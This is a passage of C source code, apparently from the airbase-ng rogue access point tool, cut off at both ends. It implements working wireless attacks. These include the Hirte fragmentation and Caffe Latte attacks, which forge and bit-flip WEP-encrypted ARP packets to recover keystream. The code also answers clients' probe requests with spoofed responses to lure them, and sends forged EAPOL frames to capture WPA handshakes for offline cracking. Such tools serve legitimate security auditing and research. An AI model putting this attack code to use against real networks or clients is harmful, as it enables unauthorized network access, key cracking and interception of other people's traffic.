if(create_wep_packet(packet, &length, z) != 0) return 1; } if(memcmp(buf+12, (uchar *)"\x00\x00", 2) == 0) /* incoming packet */ { packet_recv(packet, length, apc, 0); } else if(memcmp(buf+12, (uchar *)"\xFF\xFF", 2) == 0) /* outgoing packet */ { send_packet(packet, length); } return 0; } int remove_tag(unsigned char *flags, unsigned char type, int *length) { int cur_type=0, cur_len=0, len=0; unsigned char *pos; unsigned char buffer[4096]; if(*length < 2) return 1; if(flags == NULL) return 1; pos = flags; do { cur_type = pos[0]; cur_len = pos[1]; // printf("tag %d with len %d found, looking for tag %d\n", cur_type, cur_len, type); // printf("gone through %d bytes from %d max\n", len+2+cur_len, *length); if(len+2+cur_len > *length) return 1; if(cur_type == type) { if(cur_len > 0 && (pos-flags+cur_len+2) <= *length) { memcpy(buffer, pos+2+cur_len, *length-((pos+2+cur_len) - flags)); memcpy(pos, buffer, *length-((pos+2+cur_len) - flags)); *length = *length - 2 - cur_len; return 0; } else return 1; } pos += cur_len + 2; len += cur_len + 2; } while(len+2 <= *length); return 0; } uchar* parse_tags(unsigned char *flags, unsigned char type, int length, int *taglen) { int cur_type=0, cur_len=0, len=0; unsigned char *pos; if(length < 2) return(NULL); if(flags == NULL) return(NULL); pos = flags; do { cur_type = pos[0]; cur_len = pos[1]; if(len+2+cur_len > length) return(NULL); if(cur_type == type) { if(cur_len > 0) { *taglen = cur_len; return pos+2; } else return(NULL); } pos += cur_len + 2; len += cur_len + 2; } while(len+2 <= length); return(NULL); } int wpa_client(struct ST_info *st_cur,uchar* tag, int length) { if(tag == NULL) return 1; if(st_cur == NULL) return 1; if(tag[0] != 0xDD && tag[0] != 0x30) //wpa1 or wpa2 return 1; if(tag[0] == 0xDD) { if(length < 24) return 1; switch(tag[17]) { case 0x02: st_cur->wpahash = 1; //md5|tkip break; case 0x04: st_cur->wpahash = 2; //sha1|ccmp break; default: return 1; } st_cur->wpatype = 1; //wpa1 } if(tag[0] == 0x30 && st_cur->wpatype == 0) { if(length < 22) return 1; switch(tag[13]) { case 0x02: st_cur->wpahash = 1; //md5|tkip break; case 0x04: st_cur->wpahash = 2; //sha1|ccmp break; default: return 1; } st_cur->wpatype = 2; //wpa2 } return 0; } int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_ARP, 8); buf[8] = 0x00; buf[9] = 0x01; //ethernet buf[10] = 0x08; // IP buf[11] = 0x00; buf[12] = 0x06; //hardware size buf[13] = 0x04; //protocol size buf[14] = 0x00; if(memcmp(dmac, BROADCAST, 6) == 0) buf[15] = 0x01; //request else buf[15] = 0x02; //reply memcpy(buf+16, smac, 6); return 0; } int set_final_arp(uchar *buf, uchar *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x08; // IP buf[1] = 0x00; buf[2] = 0x06; //hardware size buf[3] = 0x04; //protocol size buf[4] = 0x00; buf[5] = 0x01; //request memcpy(buf+6, mymac, 6); //sender mac buf[12] = 0xA9; //sender IP 169.254.87.197 buf[13] = 0xFE; buf[14] = 0x57; buf[15] = 0xC5; //end sender IP return 0; } int set_clear_ip(uchar *buf, int ip_len) //set first 9 bytes { if(buf == NULL) return -1; memcpy(buf, S_LLC_SNAP_IP, 8); buf[8] = 0x45; buf[10] = (ip_len >> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } int set_final_ip(uchar *buf, uchar *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x06; //hardware size buf[1] = 0x04; //protocol size buf[2] = 0x00; buf[3] = 0x01; //request memcpy(buf+4, mymac, 6); //sender mac buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX buf[11] = 0xFE; buf[12] = 0x57; buf[13] = 0xC5; //end sender IP return 0; } //add packet for client fragmentation attack int addCF(uchar* packet, int length) { pCF_t curCF = rCF; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; uchar keystream[128]; uchar frag1[128], frag2[128], frag3[128]; uchar clear[4096], final[4096], flip[4096]; int isarp; int z, i; if(curCF == NULL) return 1; if(packet == NULL) return 1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(length < z+8) return 1; if(length > 3800) { return 1; } if(opt.cf_count >= 100) return 1; memset(clear, 0, 4096); memset(final, 0, 4096); memset(flip, 0, 4096); memset(frag1, 0, 128); memset(frag2, 0, 128); memset(frag3, 0, 128); memset(keystream, 0, 128); switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if( is_ipv6(packet) ) { if(opt.verbose) { PCT; printf("Ignored IPv6 packet.\n"); } return 1; } if( is_dhcp_discover(packet, length-z-4-4) ) { if(opt.verbose) { PCT; printf("Ignored DHCP Discover packet.\n"); } return 1; } /* check if it's a potential ARP request */ //its length 68 or 86 and going to broadcast or a unicast mac (even first byte) if( (length == 68 || length == 86) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) ) { /* process ARP */ isarp = 1; //build the new packet set_clear_arp(clear, smac, dmac); set_final_arp(final, opt.r_smac); for(i=0; i<14; i++) keystream[i] = (packet+z+4)[i] ^ clear[i]; // correct 80211 header packet[0] = 0x08; //data if( (packet[1] & 3) == 0x00 ) //ad-hoc { packet[1] = 0x40; //wep memcpy(packet+4, smac, 6); memcpy(packet+10, opt.r_smac, 6); memcpy(packet+16, bssid, 6); } else //tods { packet[1] = 0x42; //wep+FromDS memcpy(packet+4, smac, 6); memcpy(packet+10, bssid, 6); memcpy(packet+16, opt.r_smac, 6); } packet[22] = 0xD0; //frag = 0; packet[23] = 0x50; //need to shift by 10 bytes; (add 1 frag in front) memcpy(frag1, packet, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8); frag1[z+4+8] = 0x00; frag1[z+4+9] = 0x01; //ethernet add_crc32(frag1+z+4, 10); for(i=0; i<14; i++) (frag1+z+4)[i] ^= keystream[i]; /* frag1 finished */ for(i=0; inext != NULL) curCF = curCF->next; pthread_mutex_lock( &mx_cf ); curCF->next = (pCF_t) malloc(sizeof(struct CF_packet)); curCF = curCF->next; curCF->xmitcount = 0; curCF->next = NULL; if(isarp) { memcpy(curCF->frags[0], frag1, z+4+10+4); curCF->fraglen[0] = z+4+10+4; memcpy(curCF->final, packet, length); curCF->finallen = length; curCF->fragnum = 1; /* one frag and final frame */ } else { memcpy(curCF->frags[0], frag1, z+4+4+4); memcpy(curCF->frags[1], frag2, z+4+4+4); memcpy(curCF->frags[2], frag3, z+4+4+4); curCF->fraglen[0] = z+4+4+4; curCF->fraglen[1] = z+4+4+4; curCF->fraglen[2] = z+4+4+4; memcpy(curCF->final, packet, length); curCF->finallen = length; curCF->fragnum = 3; /* three frags and final frame */ } opt.cf_count++; pthread_mutex_unlock( &mx_cf ); if(opt.cf_count == 1 && !opt.quiet) { PCT; printf("Starting Hirte attack against %02X:%02X:%02X:%02X:%02X:%02X at %d pps.\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5],opt.r_nbpps); } if(opt.verbose) { PCT; printf("Added %s packet to cfrag buffer.\n", isarp?"ARP":"IP"); } return 0; } //add packet for caffe latte attack int addarp(uchar* packet, int length) { uchar bssid[6], smac[6], dmac[6]; uchar flip[4096]; int z=0, i=0; if(packet == NULL) return -1; if(length != 68 && length != 86) return -1; z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if(( packet[1] & 3 ) == 0) { memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); memcpy( bssid, packet + 16, 6 ); } else { memcpy( dmac, packet + 4, 6 ); memcpy( bssid, packet + 10, 6 ); memcpy( smac, packet + 16, 6 ); } if(memcmp(dmac, BROADCAST, 6) != 0) return -1; if(memcmp(bssid, opt.r_bssid, 6) != 0) return -1; packet[21] ^= ((rand() % 255)+1); //Sohail:flip sender MAC address since few clients do not honor ARP from its own MAC if(opt.nb_arp >= opt.ringbuffer) return -1; memset(flip, 0, 4096); flip[49-z-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC flip[53-z-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, length-z-4-4); for(i=0; istmac[0], st_cur->stmac[1], st_cur->stmac[2] , st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5], IVS2_EXTENSION ); opt.f_index++; if( ( f_ivs = fopen( ofn, "wb+" ) ) == NULL ) { perror( "fopen failed" ); fprintf( stderr, "Could not create \"%s\".\n", ofn ); return( 1 ); } if( fwrite( IVS2_MAGIC, 1, 4, f_ivs ) != (size_t) 4 ) { perror( "fwrite(IVs file MAGIC) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( &fivs2, 1, sizeof(struct ivs2_filehdr), f_ivs ) != (size_t) sizeof(struct ivs2_filehdr) ) { perror( "fwrite(IVs file header) failed" ); fclose( f_ivs ); return( 1 ); } memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); //write stmac as bssid and essid ivs2.flags = 0; ivs2.len = 0; ivs2.len += st_cur->essid_length; ivs2.flags |= IVS2_ESSID; ivs2.flags |= IVS2_BSSID; ivs2.len += 6; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( opt.r_bssid, 1, 6, f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); fclose( f_ivs ); return( 1 ); } ivs2.len -= 6; /* write essid */ if( fwrite( st_cur->essid, 1, st_cur->essid_length, f_ivs ) != (size_t) st_cur->essid_length ) { perror( "fwrite(IV essid) failed" ); fclose( f_ivs ); return( 1 ); } //add wpa data ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); fclose( f_ivs ); return( 1 ); } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); fclose( f_ivs ); return( 1 ); } fclose( f_ivs ); return 0; } int packet_recv(uchar* packet, int length, struct AP_conf *apc, int external) { uchar K[64]; uchar bssid[6]; uchar smac[6]; uchar dmac[6]; int trailer=0; uchar *tag=NULL; int len, i, c; uchar *buffer; char essid[256]; struct timeval tv1; u_int64_t timestamp; char *fessid; int seqnum, fragnum, morefrag; int gotsource, gotbssid; int remaining, bytes2use; int reasso, fixed, temp_channel; uint z; struct ST_info *st_cur = NULL; struct ST_info *st_prv = NULL; reasso = 0; fixed = 0; memset(essid, 0, 256); pthread_mutex_lock( &mx_cap ); if(opt.record_data) capture_packet(packet, length); pthread_mutex_unlock( &mx_cap ); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if (packet[0] == 0x88) z += 2; /* handle QoS field */ if((uint)length < z) { return 1; } if(length > 3800) { return 1; } switch( packet[1] & 3 ) { case 0: memcpy( bssid, packet + 16, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 10, 6 ); break; case 1: memcpy( bssid, packet + 4, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 10, 6 ); break; case 2: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 4, 6 ); memcpy( smac, packet + 16, 6 ); break; default: memcpy( bssid, packet + 10, 6 ); memcpy( dmac, packet + 16, 6 ); memcpy( smac, packet + 24, 6 ); break; } if( (packet[1] & 3) == 0x03) { /* no wds support yet */ return 1; } /* MAC Filter */ if(opt.filter >= 0) { if(getMACcount(rClient) > 0) { /* filter clients */ gotsource = gotMAC(rClient, smac); if((gotsource && opt.filter == BLOCK_MACS) || ( !gotsource && opt.filter == ALLOW_MACS)) return 0; } if(getMACcount(rBSSID) > 0) { /* filter bssids */ gotbssid = gotMAC(rBSSID, bssid); if((gotbssid && opt.filter == BLOCK_MACS) || ( !gotbssid && opt.filter == ALLOW_MACS)) return 0; } } /* check list of clients */ st_cur = opt.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, smac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new client, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } memset( st_cur, 0, sizeof( struct ST_info ) ); if( opt.st_1st == NULL ) opt.st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, smac, 6 ); st_cur->prev = st_prv; st_cur->tinit = time( NULL ); st_cur->tlast = time( NULL ); st_cur->power = -1; st_cur->rate_to = -1; st_cur->rate_from = -1; st_cur->probe_index = -1; st_cur->missed = 0; st_cur->lastseq = 0; gettimeofday( &(st_cur->ftimer), NULL); for( i = 0; i < NB_PRB; i++ ) { memset( st_cur->probes[i], 0, sizeof( st_cur->probes[i] ) ); st_cur->ssid_length[i] = 0; } memset(st_cur->essid, 0, 256); st_cur->essid_length = 0; st_cur->wpatype = 0; st_cur->wpahash = 0; st_cur->wep = 0; opt.st_end = st_cur; } /* Got a data packet with our bssid set and ToDS==1*/ if( memcmp( bssid, opt.r_bssid, 6) == 0 && ( packet[0] & 0x08 ) == 0x08 && (packet[1] & 0x03) == 0x01 ) { // printf("to me with len: %d\n", length); fragnum = packet[22] & 0x0F; seqnum = (packet[22] >> 4) | (packet[23] << 4); morefrag = packet[1] & 0x04; // printf("frag: %d, morefrag: %d\n", fragnum, morefrag); /* Fragment? */ if(fragnum > 0 || morefrag) { addFrag(packet, smac, length); buffer = getCompleteFrag(smac, seqnum, &len); timeoutFrag(); /* we got frag, no compelete packet avail -> do nothing */ if(buffer == NULL) return 1; // printf("got all frags!!!\n"); memcpy(packet, buffer, len); length = len; free(buffer); buffer = NULL; } /* intercept packets in case we got external processing */ if(external) { intercept(packet, length); return 0; } /* To our mac? */ if( (memcmp( dmac, opt.r_bssid, 6) == 0 && !opt.adhoc ) || (memcmp( dmac, opt.r_smac, 6) == 0 && opt.adhoc ) ) { /* Is encrypted */ if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && (packet[1] & 0x40) == 0x40 ) { /* check the extended IV flag */ /* WEP and we got the key */ if( ( packet[z + 3] & 0x20 ) == 0 && opt.crypt == CRYPT_WEP && !opt.cf_attack) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; } else { if(opt.cf_attack) { addCF(packet, length); return 0; } /* its a packet for us, but we either don't have the key or its WPA -> throw it away */ return 0; } } else { /* unencrypted data packet, nothing special, send it through dev_ti */ if(opt.sendeapol && memcmp(packet+z, "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x01", 10) == 0) { /* got eapol start frame */ if(opt.verbose) { PCT; printf("Got EAPOL start frame from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } st_cur->wpa.state = 0; for(i=0; i<32; i++) st_cur->wpa.anonce[i] = rand()&0xFF; st_cur->wpa.state |= 1; /* build first eapol frame */ memcpy(h80211, "\x08\x02\xd5\x00", 4); len = 4; memcpy(h80211+len, smac, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; memcpy(h80211+len, bssid, 6); len += 6; h80211[len] = 0x60; h80211[len+1] = 0x0f; len += 2; //llc+snap memcpy(h80211+len, "\xAA\xAA\x03\x00\x00\x00\x88\x8E", 8); len += 8; //eapol memset(h80211+len, 0, 99); h80211[len] = 0x01;//version h80211[len+1] = 0x03;//type h80211[len+2] = 0x00; h80211[len+3] = 0x5F;//len if(opt.wpa1type) h80211[len+4] = 0xFE; //WPA1 if(opt.wpa2type) h80211[len+4] = 0x02; //WPA2 if(!opt.wpa1type && !opt.wpa2type) { if(st_cur->wpatype == 1) //WPA1 h80211[len+4] = 0xFE; //WPA1 else if(st_cur->wpatype == 2) h80211[len+4] = 0x02; //WPA2 } if(opt.sendeapol >= 1 && opt.sendeapol <= 2) //specified { if(opt.sendeapol == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } else //from asso { if(st_cur->wpahash == 1) //MD5 { h80211[len+5] = 0x00; h80211[len+6] = 0x89; } else if(st_cur->wpahash == 2) //SHA1 { h80211[len+5] = 0x00; h80211[len+6] = 0x8a; } } h80211[len+7] = 0x00; h80211[len+8] = 0x20; //keylen memset(h80211+len+9, 0, 90); memcpy(h80211+len+17, st_cur->wpa.anonce, 32); len+=99; send_packet(h80211, len); return 0; } if(opt.sendeapol && memcmp(packet+z, "\xAA\xAA\x03\x00\x00\x00\x88\x8E\x01\x03", 10) == 0) { st_cur->wpa.eapol_size = ( packet[z + 8 + 2] << 8 ) + packet[z + 8 + 3] + 4; if ((uint)length - z - 10 < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; return 1; } /* got eapol frame num 2 */ memcpy( st_cur->wpa.snonce, &packet[z + 8 + 17], 32 ); st_cur->wpa.state |= 2; memcpy( st_cur->wpa.keymic, &packet[z + 8 + 81], 16 ); memcpy( st_cur->wpa.eapol, &packet[z + 8], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = packet[z + 8 + 6] & 7; memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); store_wpa_handshake(st_cur); if(!opt.quiet) { PCT; printf("Got WPA handshake from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } return 0; } } } else { packet[1] &= 0xFC; //clear ToDS/FromDS if(!opt.adhoc) { /* Our bssid, ToDS=1, but to a different destination MAC -> send it through both interfaces */ packet[1] |= 0x02; //set FromDS=1 memcpy(packet + 4, dmac, 6); memcpy(packet + 10, bssid, 6); memcpy(packet + 16, smac, 6); } else { /* adhoc, don't replay */ memcpy(packet + 4, dmac, 6); memcpy(packet + 10, smac, 6); memcpy(packet + 16, bssid, 6); } // printf("sent packet length: %d\n", length); /* Is encrypted */ if( (packet[z] != packet[z + 1] || packet[z + 2] != 0x03) && (packet[1] & 0x40) == 0x40 ) { /* check the extended IV flag */ /* WEP and we got the key */ if( ( packet[z + 3] & 0x20 ) == 0 && opt.crypt == CRYPT_WEP && !opt.caffelatte && !opt.cf_attack ) { memcpy( K, packet + z, 3 ); memcpy( K + 3, opt.wepkey, opt.weplen ); if (decrypt_wep( packet + z + 4, length - z - 4, K, 3 + opt.weplen ) == 0 ) { // printf("ICV check failed!\n"); return 1; } /* WEP data packet was successfully decrypted, * * remove the WEP IV & ICV and write the data */ length -= 8; memcpy( packet + z, packet + z + 4, length - z ); packet[1] &= 0xBF; /* reencrypt it to send it with a new IV */ memcpy(h80211, packet, length); if(create_wep_packet(h80211, &length, z) != 0) return 1; if(!opt.adhoc) send_packet(h80211, length); } else { if(opt.caffelatte) { addarp(packet, length); } if(opt.cf_attack) { addCF(packet, length); } /* its a packet we can't decrypt -> just replay it through the wireless interface */ return 0; } } else { /* unencrypted -> send it through the wireless interface */ send_packet(packet, length); } } memcpy( h80211, dmac, 6); //DST_MAC memcpy( h80211+6, smac, 6); //SRC_MAC memcpy( h80211+12, packet+z+6, 2); //copy ether type if( (uint)length <= z+8 ) return 1; memcpy( h80211+14, packet+z+8, length-z-8); length = length -z-8+14; //ethernet frame must be atleast 60 bytes without fcs if(length < 60) { trailer = 60 - length; memset(h80211 + length, 0, trailer); length += trailer; } ti_write(dev.dv_ti, h80211, length); } else { //react on management frames //probe request -> send probe response if essid matches. if brodcast probe, ignore it. if( packet[0] == 0x40 ) { tag = parse_tags(packet+z, 0, length-z, &len); if(tag != NULL && tag[0] >= 32 && len <= 255) //directed probe { if( opt.promiscuous || !opt.f_essid || gotESSID((char*)tag, len) == 1) { memset(essid, 0, 256); memcpy(essid, tag, len); /* store probes */ if (len > 0 && essid[0] == 0) goto skip_probe; /* got a valid probed ESSID */ /* add this to the beacon queue */ if(opt.beacon_cache) addESSID(essid, len, opt.beacon_cache); /* check if it's already in the ring buffer */ for( i = 0; i < NB_PRB; i++ ) if( memcmp( st_cur->probes[i], essid, len ) == 0 ) goto skip_probe; st_cur->probe_index = ( st_cur->probe_index + 1 ) % NB_PRB; memset( st_cur->probes[st_cur->probe_index], 0, 256 ); memcpy( st_cur->probes[st_cur->probe_index], essid, len ); //twice?! st_cur->ssid_length[st_cur->probe_index] = len; for( i = 0; i < len; i++ ) { c = essid[i]; if( c == 0 || ( c > 126 && c < 160 ) ) c = '.'; //could also check ||(c>0 && c<32) st_cur->probes[st_cur->probe_index][i] = c; } skip_probe: //transform into probe response packet[0] = 0x50; if(opt.verbose) { PCT; printf("Got directed probe request from %02X:%02X:%02X:%02X:%02X:%02X - \"%s\"\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5], essid); } //store the tagged parameters and insert the fixed ones buffer = (uchar*) malloc(length-z); memcpy(buffer, packet+z, length-z); memcpy(packet+z, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information packet[z+8] = (apc->interval) & 0xFF; //beacon interval packet[z+9] = (apc->interval >> 8) & 0xFF; memcpy(packet+z+10, apc->capa, 2); //capability //set timestamp gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000 + tv1.tv_usec; //copy timestamp into response; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { packet[z+i] = ( timestamp >> (i*8) ) & 0xFF; } //insert tagged parameters memcpy(packet+z+12, buffer, length-z); length += 12; free(buffer); buffer = NULL; //add channel packet[length] = 0x03; packet[length+1] = 0x01; temp_channel = wi_get_channel(_wi_in); //current channel if (!invalid_channel_displayed) { if (temp_channel > 255) { // Display error message once invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel); } else if (temp_channel < 1) { invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel); } } packet[length+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel; length += 3; memcpy(packet + 4, smac, 6); memcpy(packet + 10, opt.r_bssid, 6); memcpy(packet + 16, opt.r_bssid, 6); // TODO: See also about 100 lines below if( opt.allwpa ) { memcpy(packet+length, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1); length += sizeof(ALL_WPA2_TAGS) -1; memcpy(packet+length, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1); length += sizeof(ALL_WPA1_TAGS) -1; } else { if(opt.wpa2type > 0) { memcpy(packet+length, WPA2_TAG, 22); packet[length+7] = opt.wpa2type; packet[length+13] = opt.wpa2type; length += 22; } if(opt.wpa1type > 0) { memcpy(packet+length, WPA1_TAG, 24); packet[length+11] = opt.wpa1type; packet[length+17] = opt.wpa1type; length += 24; } } send_packet(packet, length); //send_packet(packet, length); //send_packet(packet, length); return 0; } } else //broadcast probe { if(!opt.nobroadprobe) { //transform into probe response packet[0] = 0x50; if(opt.verbose) { PCT; printf("Got broadcast probe request from %02X:%02X:%02X:%02X:%02X:%02X\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } //store the tagged parameters and insert the fixed ones buffer = (uchar*) malloc(length-z); memcpy(buffer, packet+z, length-z); memcpy(packet+z, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 12); //fixed information packet[z+8] = (apc->interval) & 0xFF; //beacon interval packet[z+9] = (apc->interval >> 8) & 0xFF; memcpy(packet+z+10, apc->capa, 2); //capability //set timestamp gettimeofday( &tv1, NULL ); timestamp=tv1.tv_sec*1000000 + tv1.tv_usec; //copy timestamp into response; a mod 2^64 counter incremented each microsecond for(i=0; i<8; i++) { packet[z+i] = ( timestamp >> (i*8) ) & 0xFF; } //insert essid fessid = getESSID(&len); if(fessid == NULL) { fessid = "default"; len = strlen(fessid); } packet[z+12] = 0x00; packet[z+13] = len; memcpy(packet+z+14, fessid, len); //insert tagged parameters memcpy(packet+z+14+len, buffer, length-z); //now we got 2 essid tags... ignore that length += 12; //fixed info free(buffer); buffer = NULL; length += 2+len; //default essid //add channel packet[length] = 0x03; packet[length+1] = 0x01; temp_channel = wi_get_channel(_wi_in); //current channel if (!invalid_channel_displayed) { if (temp_channel > 255) { // Display error message once invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value < 256.\n", temp_channel); } else if (temp_channel < 1) { invalid_channel_displayed = 1; fprintf(stderr, "Error: Got channel %d, expected a value > 0.\n", temp_channel); } } packet[length+2] = ((temp_channel > 255 || temp_channel < 1) && opt.channel != 0) ? opt.channel : temp_channel; length += 3; memcpy(packet + 4, smac, 6); memcpy(packet + 10, opt.r_bssid, 6); memcpy(packet + 16, opt.r_bssid, 6); // TODO: See also around ~3500 if( opt.allwpa ) { memcpy(packet+length, ALL_WPA2_TAGS, sizeof(ALL_WPA2_TAGS) -1); length += sizeof(ALL_WPA2_TAGS) -1; memcpy(packet+length, ALL_WPA1_TAGS, sizeof(ALL_WPA1_TAGS) -1); length += sizeof(ALL_WPA1_TAGS) -1; } else { if(opt.wpa2type > 0) { memcpy(packet+length, WPA2_TAG, 22); packet[length+7] = opt.wpa2type; packet[length+13] = opt.wpa2type; length += 22; } if(opt.wpa1type > 0) { memcpy(packet+length, WPA1_TAG, 24); packet[length+11] = opt.wpa1type; packet[length+17] = opt.wpa1type; length += 24; } } send_packet(packet, length); send_packet(packet, length); send_packet(packet, length); return 0; } } } //auth req if(packet[0] == 0xB0 && memcmp( bssid, opt.r_bssid, 6) == 0 ) { if(packet[z] == 0x00) //open system auth { //make sure its an auth request if(packet[z+2] == 0x01) { if(opt.verbose) { PCT; printf("Got an auth request from %02X:%02X:%02X:%02X:%02X:%02X (open system)\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); packet[z+2] = 0x02; if(opt.forceska) { packet[z] = 0x01; packet[z+4] = 13; } send_packet(packet, length); return 0; } } else //shared key auth { //first response if(packet[z+2] == 0x01 && (packet[1] & 0x40) == 0x00 ) { if(opt.verbose) { PCT; printf("Got an auth request from %02X:%02X:%02X:%02X:%02X:%02X (shared key)\n", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5]); } memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); packet[z+2] = 0x02; remaining = opt.skalen; while(remaining > 0) { bytes2use = MIN(255,remaining); remaining -= bytes2use; //add challenge packet[length] = 0x10; packet[length+1] = bytes2use; length += 2; for(i=0; iwep = (packet[z] & 0x10) >> 4; tag = parse_tags(packet+z+fixed, 0, length-z-fixed, &len); if(tag != NULL && tag[0] >= 32 && len < 256) { memcpy(essid, tag, len); essid[len] = 0x00; if(opt.f_essid && !gotESSID(essid, len)) return 0; } st_cur->wpatype=0; st_cur->wpahash=0; tag = parse_tags(packet+z+fixed, 0xDD, length-z-fixed, &len); while( tag != NULL ) { // printf("Found WPA TAG\n"); wpa_client(st_cur, tag-2, len+2); tag += (tag-2)[1]+2; tag = parse_tags(tag-2, 0xDD, length-(tag-packet)+2, &len); } tag = parse_tags(packet+z+fixed, 0x30, length-z-fixed, &len); while( tag != NULL ) { // printf("Found WPA2 TAG\n"); wpa_client(st_cur, tag-2, len+2); tag += (tag-2)[1]+2; tag = parse_tags(tag-2, 0x30, length-(tag-packet)+2, &len); } if(!reasso) packet[0] = 0x10; else packet[0] = 0x30; memcpy(packet + 4, smac, 6); memcpy(packet + 10, dmac, 6); //store the tagged parameters and insert the fixed ones buffer = (uchar*) malloc(length-z-fixed); memcpy(buffer, packet+z+fixed, length-z-fixed); packet[z+2] = 0x00; packet[z+3] = 0x00; packet[z+4] = 0x01; packet[z+5] = 0xC0; memcpy(packet+z+6, buffer, length-z-fixed); length +=(6-fixed); free(buffer); buffer = NULL; len = length - z - 6; remove_tag(packet+z+6, 0, &len); length = len + z + 6; send_packet(packet, length); if(!opt.quiet) { PCT; printf("Client %02X:%02X:%02X:%02X:%02X:%02X %sassociated", smac[0],smac[1],smac[2],smac[3],smac[4],smac[5], (reasso==0)?"":"re"); if(st_cur->wpatype != 0) { if(st_cur->wpatype == 1) printf(" (WPA1"); else printf(" (WPA2"); if(st_cur->wpahash == 1) printf(";TKIP)"); else printf(";CCMP)"); } else if(st_cur->wep != 0) { printf(" (WEP)"); } else { printf(" (unencrypted)"); } if(essid[0] != 0x00) printf(" to ESSID: \"%s\"", 